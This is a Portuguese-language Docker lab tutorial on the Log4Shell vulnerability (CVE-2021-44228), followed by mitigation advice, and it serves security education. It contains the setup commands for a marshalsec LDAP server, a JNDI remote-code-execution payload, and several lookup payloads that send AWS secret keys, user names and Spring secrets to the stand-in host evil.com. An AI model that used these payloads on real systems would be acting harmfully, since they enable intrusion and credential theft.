
Log4Shell (CVE-2021-44228) laboratório docker
Este laboratório Docker utiliza três componentes, sendo:
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
Nota importante: Se estiver usando Windows PowerShell, substitua $(pwd) por ${pwd}.
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
Abra a aplicação vulnerável, insira algumas credenciais de teste falsas e abra os logs do contêiner log4shell-vulnapp. Pode-se observar que a aplicação está registrando tentativas de login malsucedidas (por exemplo, Tentativa de login incorreta para o usuário 'test'). A partir deste pequeno experimento, fica estabelecido que temos controle sobre alguma parte da string registrada (ou seja, o nome de usuário).
Podemos passar um payload como o seguinte para executar código remotamente:
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
A execução remota de código pode ser feita em qualquer versão do Java; no entanto, máquinas com versões do Java anteriores à seguinte lista [1]:
Isso se deve ao fato de que versões posteriores definem a propriedade de sistema JVM com.sun.jndi.ldap.object.trustURLCodebase como false por padrão, o que desabilita o carregamento JNDI de classes de bases de código URL arbitrárias. No entanto, confiar apenas em uma nova versão do Java como proteção contra esta vulnerabilidade é arriscado, pois a vulnerabilidade ainda pode ser explorada em máquinas que contenham certas classes "gadget" no classpath da aplicação vulnerável e consultas DNS podem ser usadas para obter informações como variáveis de ambiente.
Existem várias substituições de lookup que revelam informações sensíveis da máquina vítima. Mais proeminentemente, usando um payload semelhante a [2, 3]:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
Nota: A string de ataque spring lookup requer que log4j-spring-cloud-config-client esteja incluído na aplicação. [2]
A melhor maneira de mitigar esta grave vulnerabilidade é atualizar o log4j2 para uma versão >= 2.17.0. No entanto, é possível mitigar completamente o problema sem atualizar usando dois métodos diferentes. É fortemente recomendado a fornecedores que não possam atualizar para uma versão mais recente do Log4j2 que usem ambos os métodos de mitigação especificados abaixo [1].
Desabilitar lookups pode ser feito (globalmente) definindo a variável de ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS como true editando o arquivo /etc/environment e adicionando: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]
Alternativamente, lookups podem ser desabilitados para uma invocação específica da JVM adicionando a seguinte flag de linha de comando ao executar a aplicação Java vulnerável: ‐Dlog4j2.formatMsgNoLookups=True [1]
Ao usar uma versão do log4j anterior a 2.10.0, é possível remover a classe JndiLookup de qualquer aplicação Java.
[1] Menashe, S., (2021). Tudo sobre a Vulnerabilidade Log4Shell 0-Day - CVE-2021-44228. [online] JFrog. Disponível em: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Acessado em 24 de dezembro de 2021].
[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [online] logging.apache.org. Disponível em: https://logging.apache.org/log4j/2.x/manual/lookups.html [Acessado em 24 de dezembro de 2021].
[3] Oracle. (2021). System Properties. [online] Disponível em: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Acessado em 24 de dezembro de 2021].